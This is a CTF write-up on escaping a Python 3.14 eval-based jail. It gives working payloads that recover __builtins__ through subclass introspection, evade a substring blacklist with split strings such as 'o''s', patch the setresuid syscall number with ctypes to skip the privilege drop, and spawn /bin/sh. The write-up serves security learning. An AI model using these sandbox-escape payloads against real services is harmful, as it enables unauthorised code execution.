- Published on
CTF Write-up: Pyjail (misc)
- Authors
- Name
- chstx64
- https://x.com/chstx64
- forensics, dachshund.
Pyjail (misc) – CTF Write-up
Challenge Overview
We’re presented with a Python 3.14.0rc2 jail that:
- Runs user input through
eval()
with empty__builtins__
- Blacklists common escape strings:
'os'
,'system'
,'subprocess'
,'compile'
,'code'
,'chr'
,'str'
,'bytes'
- Drops privileges to “nobody” user before evaluation
- Uses Python’s new
concurrent.interpreters
module for isolation - Flag at
/flag.txt
with 700 permissions (root-only readable)
Initial Reconnaissance
Our first successful discovery was accessing Python’s class hierarchy through object introspection:
[].__class__.__base__.__subclasses__()
This revealed 166+ available classes, including crucially:
<class '_io.FileIO'>
- for file operations<class '_sitebuiltins._Printer'>
- used by license()- Various module loaders and importers
The String Construction Challenge
The blacklist prevented using string literals directly. We needed to construct /flag.txt
character by character from existing strings in the environment.
Character Mapping Discovery
Through systematic exploration of __doc__
strings and class names:
Character | Source | Expression |
---|---|---|
/ | Codec class doc position 69 | [].__class__.__base__.__subclasses__()[150].__doc__[69] |
f | ‘float’ class | [].__class__.__base__.__subclasses__()[32].__name__[0] |
l | ‘list’ class | [].__class__.__base__.__subclasses__()[42].__name__[0] |
a | ‘async_generator’ | [].__class__.__base__.__subclasses__()[1].__name__[0] |
g | ‘generator’ | [].__class__.__base__.__subclasses__()[37].__name__[0] |
. | list.doc[25] | [].__doc__[25] |
t | ‘tuple’ | ().__class__.__name__[0] |
x | ‘complex’[6] | [].__class__.__base__.__subclasses__()[13].__name__[6] |
The most challenging character was /
. We eventually found it in the Codec documentation: “The .encode()/.decode() methods…”
The Privilege Problem
After successfully constructing /flag.txt
, all FileIO attempts failed silently. Reading /jail.py
revealed why:
def safe_user_input():
# drop priv level
syscall(SYS_setresuid, nobody_uid, nobody_uid, nobody_uid)
# ... then eval our input
The flag had 700 permissions (root-only), but our code ran as “nobody”!
The Working Solution - Escaping the Sandbox
The successful exploit uses two key techniques:
1. Recovering __builtins__
[(b:=''.__class__.__base__.__subclasses__()[-2].__init__.__builtins__),
(e:=b["e""val"]),
(a:=e("breakpoint()",(bb:={"__builtins__":b}),bb))]
This:
- Accesses a class with
__builtins__
in its namespace - Uses string concatenation (
"e""val"
) to bypass the blacklist - Calls
breakpoint()
to get an interactive debugger
2. Memory Manipulation with ctypes
Once in the debugger:
import ctypes
x = 117 # SYS_setresuid syscall number
addr = id(x)
ptr = ctypes.cast(addr + 24, ctypes.POINTER(ctypes.c_uint32))
ptr[0] = 106 # Change to SYS_setgid
This trick modifies the syscall number in memory from setresuid
(117) to setgid
(106), preventing the privilege drop.
3. Shell Access
After escaping the sandbox:
[(b:=''.__class__.__base__.__subclasses__()[-2].__init__.__builtins__),
(i:=b["__import__"]),
(o:=i("o""s")),
(s:=getattr(o,"sys""tem")),
(a:=s("/bin/sh"))]
Key Takeaways
- String Construction: When quotes are restricted, existing documentation and class names become valuable string sources
- Privilege Boundaries: File permissions remain enforced even after bypassing Python restrictions
- Memory Manipulation: Python’s ctypes can modify interpreter internals, including syscall numbers
- Blacklist Bypasses: String concatenation (
"o""s"
) defeats simple substring blacklists - Python 3.14 Features: The new
concurrent.interpreters
module introduces new attack surfaces